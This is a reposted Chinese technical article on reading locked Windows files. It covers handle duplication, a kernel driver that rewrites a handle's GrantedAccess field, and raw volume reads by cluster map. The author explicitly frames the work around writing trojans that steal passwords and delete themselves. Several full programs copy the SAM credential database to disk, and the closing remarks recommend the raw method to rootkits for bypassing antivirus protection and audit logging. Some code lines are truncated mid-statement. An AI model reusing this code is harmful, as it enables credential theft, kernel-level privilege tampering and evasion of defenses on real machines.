【转】被占用文件操作三法

> 按markdown整理了一下

无疑我们中的很多人都会遇到需要读写被其它进程占用的文件的情况，比如说在编写backup程序或是trojan的时候。能从系统中抽出SAM文件，或是读取其它某些用标准方法无法成功访问的文件显然是件不错的事情。比如说当用标志dwShareMode = 0打开文件时，其它进程就不能对它进行访问了。一个很好的例子就是网络寻呼机程序Miranda。这个程序在自己工作的时候不允许别人打开自己的数据库。假设我们需要写一个这样的木马，它在感染机器后从数据库中窃走密码，然后删除自身，这个时候就需要解决这个问题。所以我决定写下这篇文章。文章篇幅不大，但里面的内容可能会对某些人有益。那我们就开始吧。

寻找打开文件的句柄

如果文件由某个进程打开，那么这个进程就拥有了它的句柄。在我第二篇关于API拦截的文章里我讲解了如何搜索需要的句柄并用它打开进程，要访问已打开的文件，我们也可以使用这种方法。我们需要使用 `ZwQuerySystemInformation` 函数来枚举句柄，将每一个句柄都用 `DuplicateHandle` 进行复制，确定句柄属于那个文件（ `ZwQueryInformationFile` ），如果是要找的文件，就将句柄拷贝。

这些在理论上都讲得通，但在实践中会遇到两处难点。第一，在对打开的named pipe（工作于block mode）的句柄调用 `ZwQueryInformationFile` 的时候，调用线程会等待pipe中的消息，而pipe中却可能没有消息，也就是说，调用 `ZwQueryInformationFile` 的线程实际上永久性地挂起了。所以命名文件的获取不用在挑选句柄的主线程中进行，可以启动独立的线程并设置一个timeout值来避免挂起。第二，在拷贝句柄后，两个句柄（我们进程的和打开文件进程的）将会指向同一个FileObject，从而当前的输入输出模式、在文件中的位置以及其它与文件相关的信息就会由两个进程来共享。这时，甚至只是读取文件都会引起读取位置的改变，从而破坏了打开文件程序的正常运行。为了避免这种情形，我们需要需要停止占用文件进程的线程、保存当前位置、拷贝文件、恢复当前位置以及重新启动占用文件的进程。这种方法不能用于许多情形，比如要在运行的系统中拷贝注册表文件，用这种方法就不会成功。

我们先来试着实现对系统中所有已打开文件的句柄的枚举。为枚举句柄，每个句柄都由以下结构体描述：

```
typedef struct _SYSTEM_HANDLE{
    ULONG       uIdProcess;
    UCHAR       ObjectType;
    UCHAR       Flags;
    USHORT      Handle;
    POBJECT     pObject;
    ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;
```

这里的 `ObjectType` 域定义了句柄所属的对象类型。这里我们又遇到了问题——File类型的 `ObjectType` 在Windows 2000、XP和2003下的取值各不相同，所以我们不得不动态的定义这个值。为此我们用 `CreateFile` 来打开NUL设备，找到它的句柄并记下它的类型：

```
UCHAR GetFileHandleType(){
    HANDLE                      hFile;
    PSYSTEM_HANDLE_INFORMATION Info;
    ULONG                       r;
    UCHAR                       Result = 0;

    hFile = CreateFile("NUL", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, 0);
    if (hFile != INVALID_HANDLE_VALUE){
        Info = GetInfoTable(SystemHandleInformation);
        if (Info){
            for (r = 0; r < Info->uCount; r++){
                if (Info->aSH[r].Handle == (USHORT)hFile && Info->aSH[r].uIdProcess == GetCurrer
                    Result = Info->aSH[r].ObjectType;
                    break;
                }
            }
            HeapFree(hHeap, 0, Info);
        }
        CloseHandle(hFile);
    }
    return Result;
}
```

现在知道了句柄的类型我们就可以枚举系统中打开的文件了。首先我们来用句柄获取打开文件的文件名：

```
typedef struct _NM_INFO{
    HANDLE  hFile;
    FILE_NAME_INFORMATION Info;
    WCHAR Name[MAX_PATH];
} NM_INFO, *PNM_INFO;

DWORD WINAPI GetFileNameThread(PVOID lpParameter){
    PNM_INFO        NmInfo = lpParameter;
    IO_STATUS_BLOCK IoStatus;
    int r;

    NtQueryInformationFile(NmInfo->hFile, &IoStatus, &NmInfo->Info, sizeof(NM_INFO) - sizeof(HAN
    return 0;
}

void GetFileName(HANDLE hFile, PCHAR TheName){
    HANDLE   hThread;
    PNM_INFO Info = HeapAlloc(hHeap, 0, sizeof(NM_INFO));
    Info->hFile = hFile;
    hThread = CreateThread(NULL, 0, GetFileNameThread, Info, 0, NULL);
    if (WaitForSingleObject(hThread, INFINITE) == WAIT_TIMEOUT) TerminateThread(hThread, 0);
    CloseHandle(hThread);
    memset(TheName, 0, MAX_PATH);
    WideCharToMultiByte(CP_ACP, 0, Info->Info.FileName, Info->Info.FileNameLength >> 1, TheName,
    HeapFree(hHeap, 0, Info);
}
```

现在来枚举打开的文件：

```
void main(){
    PSYSTEM_HANDLE_INFORMATION Info;
    ULONG                      r;
    CHAR                       Name[MAX_PATH];
    HANDLE                     hProcess, hFile;

    hHeap = GetProcessHeap();
    ObFileType = GetFileHandleType();
    Info = GetInfoTable(SystemHandleInformation);

    if (Info){
        for (r = 0; r < Info->uCount; r++){
            if (Info->aSH[r].ObjectType == ObFileType){
                hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, Info->aSH[r].uIdProcess);
                if (hProcess){
                    if (DuplicateHandle(hProcess, (HANDLE)Info->aSH[r].Handle, GetCurrentProcess
                        GetFileName(hFile, Name);
                        printf("%s\n", Name);
                        CloseHandle(hFile);
                    }
                    CloseHandle(hProcess);
                }
            }
        }
        HeapFree(hHeap, 0, Info);
    }
}
```

现在对于文件的拷贝我们剩下的工作只是找到所需句柄后用 `ReadFile` 读取它。这里一定要使用前面提到的机制，不可疏忽。

这种方法的优点是实现简单，但是其缺点更多，所以这个方法只适用于确定文件被那个进程占用。

修改句柄访问权限

所有被占用的文件通常都可以用读属性（ `FILE_READ_ATTRIBUTES` ）打开，这样就可以读取文件的属性，取得它的大小，枚举NTSF stream，但遗憾的是， `ReadFile` 就不能成功调用了。打开文件时各种访问属性的区别在哪里呢？显然，打开文件时，系统会记录访问属性，之后会用这个属性与请求的访问作比较。如果找到了系统保存这个属性的位置并修该掉它，那就不只可以读取，甚至可以写入任何已打开的文件。

在用户这一级别上我们并不是直接与文件打交道，而是通过它的句柄（这个句柄指向 `FileObject` ），而函数 `ReadFile` / `WriteFile` 调用 `ObReferenceObjectByHandle` ，并指明了相应的访问类型。由此我们可以得出结论，访问权限保存在描述句柄的结构体里。实际上， `HANDLE_TABLE_ENTRY` 结构体包含有一

个 GrantedAccess 域，这个域不是别的，就是句柄的访问权限。遗憾的是，Microsoft的程序员们没有提供修改句柄访问权的API，所以我们不得不编写驱动自己来做这项工作。

我在《隐藏进程检测》一文中讲到过Windows 2000和XP的句柄表结构体，我想补充的只有一点，就是Windows 2003中的句柄表与XP的完全一样。与那篇文章不同，我们这里不需要枚举表中的句柄，而只需要找到某个具体的（已知的）句柄，我们不用管PspCidTable，而只操作自己进程的句柄表，表的指针位于进程的EPROCESS结构体里（2000下的偏移为0x128，XP下的为0x0C4）。

为了取得句柄结构体指针需要调用未导出函数 ExpLookupHandleTableEntry ，但我们不会去搜索它，因为在导出函数中没有对它的直接引用，搜索结果也很不可靠，除此之外我们此时还需要 ExUnlockHandleTableEntry 函数。最好的办法就是编写自己的句柄表lookup函数。考虑到Windows 2000与XP下句柄表的差异，我们将编写不同的函数。

首先是Windows 2000下的：

```
PHANDLE_TABLE_ENTRY
Win2kLookupHandleTableEntry(
    IN PWIN2K_HANDLE_TABLE HandleTable,
    IN EXHANDLE            Handle
){
    ULONG i, j, k;

    i = (Handle.Index >> 16) & 255;
    j = (Handle.Index >> 8)  & 255;
    k = (Handle.Index)       & 255;

    if (HandleTable->Table[i]){
        if (HandleTable->Table[i][j])
            return &(HandleTable->Table[i][j][k]);
    }
    return NULL;
}
```

这段代码简单易懂。因为句柄的值本身是个三维表的三个索引，所以我们只需其中的各个部分并查看表中相应的元素（当然如果存在的话）。因为Windows XP中的句柄表可以有一到三个级别，所以相应的lookup代码就要更为复杂一些：

```
PHANDLE_TABLE_ENTRY
XpLookupHandleTableEntry(
    IN PXP_HANDLE_TABLE HandleTable,
    IN EXHANDLE         Handle
){
    ULONG i, j, k;
    PHANDLE_TABLE_ENTRY Entry = NULL;
    ULONG TableCode = HandleTable->TableCode & ~TABLE_LEVEL_MASK;

    i = (Handle.Index >> 17) & 0x1FF;
    j = (Handle.Index >> 9)  & 0x1FF;
    k = (Handle.Index)       & 0x1FF;

    switch (HandleTable->TableCode & TABLE_LEVEL_MASK){
    case 0 :
        Entry = &((PHANDLE_TABLE_ENTRY)TableCode)[k];
        break;
    case 1 :
        if (((PVOID *)TableCode)[j])
            Entry = &((PHANDLE_TABLE_ENTRY *)TableCode)[j][k];
        break;
    case 2 :
        if (((PVOID *)TableCode)[i])
            if (((PVOID **)TableCode)[i][j])
                Entry = &((PHANDLE_TABLE_ENTRY **)TableCode)[i][j][k];
        break;
    }
    return Entry;
}
```

我们看到，这段代码中的句柄并不是ULONG型的值，而是EXHANDLE结构体：

```
typedef struct _EXHANDLE
{
    union
    {
        struct
        {
            ULONG TagBits : 02;
            ULONG Index   : 30;
        };
        HANDLE GenericHandleOverlay;
    };
} EXHANDLE, *PEXHANDLE;
```

我们看到，句柄不知包含了表的索引，还包含了一个2 bit的标志。您可能已经察觉到，一个句柄可以有着几种不同的意义，这一点与这样一个事实有关，那就是并非句柄中所有的位都被使用到（依赖于在表中的级别）。这是Windows XP最具个性的特点。

现在我们就可以获取句柄表中所需的元素了，该编写为句柄设置所需访问属性的函数了：

```
BOOLEAN SetHandleAccess(
    IN HANDLE      Handle,
    IN ACCESS_MASK GrantedAccess
){
    PHANDLE_TABLE       ObjectTable = *(PHANDLE_TABLE *)RVATOVA(PsGetCurrentProcess(), ObjectTab
    PHANDLE_TABLE_ENTRY Entry;
    EXHANDLE            ExHandle;

    ExHandle.GenericHandleOverlay = Handle;
    Entry = ExLookupHandleTableEntry(ObjectTable, ExHandle);
    if (Entry) Entry->GrantedAccess = GrantedAccess;
    return Entry > 0;
}
```

现在编写驱动，设置句柄的访问属性，通过DeviceIoControl向驱动传递句柄。代码如下：

```
NTSTATUS DriverIoControl(
    IN PDEVICE_OBJECT DeviceObject,
    IN PIRP Irp
){
    PIO_STACK_LOCATION pisl     = IoGetCurrentIrpStackLocation(Irp);
    NTSTATUS           status   = STATUS_UNSUCCESSFUL;
    ULONG              BuffSize = pisl->Parameters.DeviceIoControl.InputBufferLength;
    PUCHAR             pBuff    = Irp->AssociatedIrp.SystemBuffer;
    HANDLE             Handle;
    ACCESS_MASK        GrantedAccess;

    Irp->IoStatus.Information = 0;
    switch(pisl->Parameters.DeviceIoControl.IoControlCode){
    case IOCTL1:
        if (pBuff && BuffSize >= sizeof(HANDLE) + sizeof(ACCESS_MASK)){
            Handle        = *(HANDLE*)pBuff;
            GrantedAccess = *(ACCESS_MASK*)(pBuff + sizeof(HANDLE));
            if (Handle != (HANDLE)-1 && SetHandleAccess(Handle, GrantedAccess))
                status = STATUS_SUCCESS;
        }
        break;
    }

    Irp->IoStatus.Status = status;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return status;
}

NTSTATUS DriverCreateClose(
    IN PDEVICE_OBJECT DeviceObject,
    IN PIRP Irp
){
    Irp->IoStatus.Information = 0;
    Irp->IoStatus.Status = STATUS_SUCCESS;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return STATUS_SUCCESS;
}

NTSTATUS DriverEntry(
    IN PDRIVER_OBJECT DriverObject,
    IN PUNICODE_STRING RegistryPath
){
    PCWSTR   dDeviceName       = L"\\Device\\fread";
    PCWSTR   dSymbolicLinkName = L"\\DosDevices\\fread";
    NTSTATUS status;
    PDRIVER_DISPATCH *ppdd;

    RtlInitUnicodeString(&DeviceName,       dDeviceName);
    RtlInitUnicodeString(&SymbolicLinkName, dSymbolicLinkName);

    switch (*NtBuildNumber){
```

```
    case 2600:
        ObjectTableOffset = 0x0C4;
        ExLookupHandleTableEntry = XpLookupHandleTableEntry;
        break;

    case 2195:
        ObjectTableOffset = 0x128;
        ExLookupHandleTableEntry = Win2kLookupHandleTableEntry;
        break;

    default: return STATUS_UNSUCCESSFUL;
    }

    status = IoCreateDevice(
        DriverObject,
        0,
        &DeviceName,
        FILE_DEVICE_UNKNOWN,
        0,
        TRUE,
        &deviceObject
    );

    if (NT_SUCCESS(status)){
        status = IoCreateSymbolicLink(&SymbolicLinkName, &DeviceName);
        if (!NT_SUCCESS(status))
            IoDeleteDevice(deviceObject);
        DriverObject->DriverUnload = DriverUnload;
    }

    ppdd = DriverObject->MajorFunction;
    ppdd [IRP_MJ_CREATE] =
    ppdd [IRP_MJ_CLOSE ] = DriverCreateClose;
    ppdd [IRP_MJ_DEVICE_CONTROL ] = DriverIoControl;

    return status;
}
```

遗憾的是句柄结构体中的 `GrantedAccess` 域并没有和文件打开的属性（`GENERIC_READ`、`GENERIC_WRITE` 等）对应起来，所以在设置新的属性时我们需要以下constants：

```
#define AC_GENERIC_READ        0x120089
#define AC_GENERIC_WRITE       0x120196
#define AC_DELETE              0x110080
#define AC_READ_CONTROL        0x120080
#define AC_WRITE_DAC           0x140080
#define AC_WRITE_OWNER         0x180080
#define AC_GENERIC_ALL         0x1f01ff
#define AC_STANDARD_RIGHTS_ALL 0x1f0080
```

为了使用这个驱动将SAM文件拷贝到c盘根目录，我们可以写一个最简单的程序：

```
#include <windows.h>
#include "hchange.h"

BOOLEAN SetHandleAccess(
    HANDLE Handle,
    ACCESS_MASK GrantedAccess
){
    HANDLE  hDriver;
    ULONG   Bytes;
    ULONG   Buff[2];
    BOOLEAN Result = FALSE;

    hDriver = CreateFile("\\\\.\\haccess", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, 0);
    if (hDriver != INVALID_HANDLE_VALUE){
        Buff[0] = (ULONG)Handle;
        Buff[1] = GrantedAccess;
        Result = DeviceIoControl(hDriver, IOCTL1, Buff, sizeof(Buff), NULL, 0, &Bytes, NULL);
        CloseHandle(hDriver);
    }
}

void main(){
    HANDLE hFile, hDest;
    ULONG  Size, Bytes;
    PVOID  Data;
    CHAR   Name[MAX_PATH];

    GetSystemDirectory(Name, MAX_PATH);
    lstrcat(Name, "\\config\\SAM");
    hFile = CreateFile(Name, FILE_READ_ATTRIBUTES, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHA

    if (hFile != INVALID_HANDLE_VALUE){
        if (SetHandleAccess(hFile, AC_GENERIC_READ)){
            Size = GetFileSize(hFile, NULL);
            Data = VirtualAlloc(NULL, Size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
            if (Data){
                ReadFile(hFile, Data, Size, &Bytes, NULL);
                hDest = CreateFile("c:\\SAM", GENERIC_WRITE, 0, NULL, CREATE_NEW, 0, 0);
                if (hDest != INVALID_HANDLE_VALUE){
                    WriteFile(hDest, Data, Size, &Bytes, NULL);
                    CloseHandle(hDest);
                }
                VirtualFree(Data, 0, MEM_RELEASE);
            }
        }
        CloseHandle(hFile);
    }
}
```

这个方法最大的缺陷就是强烈依赖于操作系统，而且还需要加载驱动程序，而这并不总是能实现的。但是从可靠性上来看，这种方法是最好的，所以我建议将其用在backup程序中（只是要经过长期的测试和调试！）。因为这种方法有不能胜任的情形，我们转入下一种方法。

使用直接硬盘访问读取文件

“直接访问硬盘”这个想法当然很酷，但很快DOS编程爱好者们就会失望，这里没有硬件操作，因为微软很关心我们的疾苦，提供了方便简单的API，通过这些API可以几乎“直接地”操作硬盘。这样大家就明白了吧，实际上我们是想以RAW模式打开volume，并按cluster来读取文件。希望大家没有被吓到:)

如果直接入手解决这个问题，就需要手动地分析文件系统结构，这样我们就需要编写很多多余的代码，所以我们不会这样去做，而是再一次参考微软伟大的手册——MSDN。"Defragmenting Files "和"Disk Management Control Codes"部分对于我们来说非常有用，那里面有文件系统驱动的控制代码，这些代码可以用在各种磁盘整理程序中。打开MSDN，无疑会发现，使用IOCTL代码 `FSCTL_GET_RETRIEVAL_POINTERS` 可以获取文件分配图。也就是说我们只需要借助于这个IOCTL就可以获取被占用文件的cluster list并进行读取。

用此代码调用 `DeviceIoControl` 时， `InputBuffer` 应该包含有 `STARTING_VCN_INPUT_BUFFER` 结构体，这个结构体描述了文件cluster链的首元素，函数成功执行后， `OutputBuffer` 将装有 `RETRIEVAL_POINTERS_BUFFER` 结构体，这个结构体描述了分配图。我们来详细地看一下这个结构体：

```
typedef struct{
   LARGE_INTEGER StartingVcn;
} STARTING_VCN_INPUT_BUFFER, *PSTARTING_VCN_INPUT_BUFFER;

typedef struct RETRIEVAL_POINTERS_BUFFER{
    DWORD ExtentCount;
    LARGE_INTEGER StartingVcn;
    struct{
        LARGE_INTEGER NextVcn;
        LARGE_INTEGER Lcn;
    } Extents[1];
} RETRIEVAL_POINTERS_BUFFER, *PRETRIEVAL_POINTERS_BUFFER;
```

第一个结构体很容易懂，我们只需要向 `StartingVcn.QuadPart` 传递0，而第二个结构体的格式需要好好研究一下。第一个域（ `ExtentCount` ）包含着结构体中Extents元素的数目。 `StartingVcn` 文件第一个cluster链的链号。每一个Extents元素都包含有一个 `NextVcn` ，其含有链中cluser的数目，而Lcn——其第一个cluster的cluster号。也就是说所返回的信息就是cluster链的描述符，其中每一个链都包含有某些个cluster。

现在返回信息的结构体的含义就已经明了了，到了编写函数的时候了，这个函数获取文件完整的cluster list并将其整理为数组形式。

```
ULONGLONG *GetFileClusters(
    PCHAR lpFileName,
    ULONG ClusterSize,
    ULONG *ClCount,
    ULONG *FileSize
){
    HANDLE  hFile;
    ULONG   OutSize;
    ULONG   Bytes, Cls, CnCount, r;
    ULONGLONG *Clusters = NULL;
    BOOLEAN Result = FALSE;
    LARGE_INTEGER PrevVCN, Lcn;
    STARTING_VCN_INPUT_BUFFER  InBuf;
    PRETRIEVAL_POINTERS_BUFFER OutBuf;

    hFile = CreateFile(
        lpFileName,
        FILE_READ_ATTRIBUTES,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        NULL,
        OPEN_EXISTING, 0, 0
    );

    if (hFile != INVALID_HANDLE_VALUE){
        *FileSize = GetFileSize(hFile, NULL);
        OutSize = sizeof(RETRIEVAL_POINTERS_BUFFER) + (*FileSize / ClusterSize) * sizeof(OutBuf-
        OutBuf = malloc(OutSize);
        InBuf.StartingVcn.QuadPart = 0;
        if (DeviceIoControl(hFile, FSCTL_GET_RETRIEVAL_POINTERS, &InBuf, sizeof(InBuf), OutBuf,
            *ClCount = (*FileSize + ClusterSize - 1) / ClusterSize;
            Clusters = malloc(*ClCount * sizeof(ULONGLONG));
            PrevVCN = OutBuf->StartingVcn;

            for (r = 0, Cls = 0; r < OutBuf->ExtentCount; r++){
                Lcn = OutBuf->Extents[r].Lcn;
                for (CnCount = OutBuf->Extents[r].NextVcn.QuadPart - PrevVCN.QuadPart;
                    CnCount; CnCount--, Cls++, Lcn.QuadPart++) Clusters[Cls] = Lcn.QuadPart;
                PrevVCN = OutBuf->Extents[r].NextVcn;
            }
        }
        free(OutBuf);
        CloseHandle(hFile);
    }
    return Clusters;
}
```

函数完成后我们就得到了描述文件clusters的数组以及clusters的数目，现在可以很容易地拷贝文件了：

```
void FileCopy(
    PCHAR lpSrcName,
    PCHAR lpDstName
){
    ULONG         ClusterSize, BlockSize;
    ULONGLONG    *Clusters;
    ULONG         ClCount, FileSize, Bytes;
    HANDLE        hDrive, hFile;
    ULONG         SecPerCl, BtPerSec, r;
    PVOID         Buff;
    LARGE_INTEGER Offset;
    CHAR          Name[7];

    Name[0] = lpSrcName[0];
    Name[1] = ':';
    Name[2] = 0;

    GetDiskFreeSpace(Name, &SecPerCl, &BtPerSec, NULL, NULL);
    ClusterSize = SecPerCl * BtPerSec;
    Clusters = GetFileClusters(lpSrcName, ClusterSize, &ClCount, &FileSize);
    if (Clusters){
        Name[0] = '\\';
        Name[1] = '\\';
        Name[2] = '.';
        Name[3] = '\\';
        Name[4] = lpSrcName[0];
        Name[5] = ':';
        Name[6] = 0;

        hDrive = CreateFile(Name, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_E

        if (hDrive != INVALID_HANDLE_VALUE){
            hFile = CreateFile(lpDstName, GENERIC_WRITE, 0, NULL, CREATE_NEW, 0, 0);
            if (hFile != INVALID_HANDLE_VALUE){
                Buff = malloc(ClusterSize);
                for (r = 0; r < ClCount; r++, FileSize -= BlockSize){
                    Offset.QuadPart = ClusterSize * Clusters[r];
                    SetFilePointer(hDrive, Offset.LowPart, &Offset.HighPart, FILE_BEGIN);
                    ReadFile(hDrive, Buff, ClusterSize, &Bytes, NULL);
                    BlockSize = FileSize < ClusterSize ? FileSize : ClusterSize;
                    WriteFile(hFile, Buff, BlockSize, &Bytes, NULL);
                }
                free(Buff);
                CloseHandle(hFile);
            }
            CloseHandle(hDrive);
        }
        free(Clusters);
    }
}
```

文章到这里其实就结束了，现在要拷贝SAM简直易如反掌:)。在配套的示例中有将SAM拷贝到命令行指定的文件中的代码。

无疑，这种方法形式简单而功能强大，但遗憾的是它有着本质上的缺陷。这种方法只能用来读取以FILE_READ_ATTRIBUTES属性打开的文件，文件不能压缩，不能加密，而且应该有自己的cluster（在NTFS下小文件可以整个放在MFT里）。同时要考虑到，在读取文件时文件可能被修改。

我想，如何与底层文件系统打交道大家都已经明白了。这个方法为rootkit提供了诸多的便利。系统里有保护文件不被修改的程序（比如说反病毒软件），但是拥有了以RAW模式打开volume的权限之后，这些就形同虚设。再有，好的管理员会在自己的server上将重要文件的读写记录入日志文件，而直接访问是逃不过日志记录的。要实现对文件的完全访问就不得不编写自己的NTFS驱动了。